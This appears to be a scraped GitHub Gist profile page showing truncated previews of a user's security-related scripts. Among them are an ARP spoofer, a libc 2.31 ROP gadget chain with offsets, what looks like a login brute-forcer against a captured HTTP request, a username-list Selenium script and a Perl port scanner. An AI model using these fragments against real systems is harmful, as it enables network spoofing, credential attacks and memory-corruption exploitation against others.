Skip to content

Instantly share code, notes, and snippets.

View echel0nn's full-sized avatar
💭
STATUS: broken

echel0n echel0nn

💭
STATUS: broken
  • Black Mesa Research Facility
View GitHub Profile
@echel0nn
echel0nn / arp_spoofer.py
Created March 9, 2023 20:17
simple arp spoofer from 2017
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
* ***
** ***
** **
** **
** ** ****
*** **** ** *** *** ** * *** * *** ****
#!/bin/bash
# Install Dependencies
sudo pacman -S git svn gd lib32-gcc-libs patch make bison fakeroot
# Checkout glibc source
svn checkout --depth=empty svn://svn.archlinux.org/packages
cd packages
svn update glibc
cd glibc/repos/core-x86_64
// https://www.youtube.com/watch?v=WA3PcbWOYd8
const mineflayer = require('mineflayer')
const { exec } = require("child_process");
const util = require('util');
const exec_com = util.promisify(exec);
global.usser = "";
async function get_user() {
const stats = await exec_com('whoami');
if you need one value from a function in libc 2.31 there is one chain that can transfer from rax to rbx then move to rdi, it can be used perfectly.
# 0x000000000011c371: pop rdx; pop r12; ret;
POP_RDX = int(libc.address) + 0x000000000011C371
POP_RSI = int(libc.address) + 0x0000000000027529
POP_RDI = int(libc.address) + 0x0000000000026B72
PUSH_RAX = int(libc.address) + 0x0000000000151841
POP_RAX = int(libc.address) + 0x000000000004a550
MOV_RDI_RBX = int(libc.address) + 0x0000000000083dd1 # mov rdi, rbx; call rax
SYSCALL = int(libc.address) + 0x0000000000066229 # syscall; ret
PUSH_RSP = int(libc.address) + 0x000000000004543d # push rsp; ret
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
* ***
** ***
** **
** **
** ** ****
*** **** ** *** *** ** * *** * *** ****
#!/usr/bin/env python
import requests
import string
"""
POST /login HTTP/1.1
Host: mshcsvl1y3k4eia4n3o1hk0l41h.com:2053
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0
#!/usr/bin/env python
from time import sleep
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
f = open("USERLIST","r")
#!/usr/bin/perl
use IO::Socket;
$| = 1;
$target = "172.18.0.2";
$start_port = "1";
$end_port = "10000";
foreach ($port = $start_port ; $port <= $end_port ; $port++)
{
#\r will refresh the line
print "\rScanning port $port";
#!/usr/bin/env python
import requests
import hashlib
import sys
def getMd5sum(TEXT):
return hashlib.md5(TEXT.encode('utf-8')).hexdigest()
#!/usr/bin/env python
import requests
def setSessionCookie(URL):
pre_req = requests.get(URL)
user_token = parseToken(pre_req.text)
return pre_req.cookies, user_token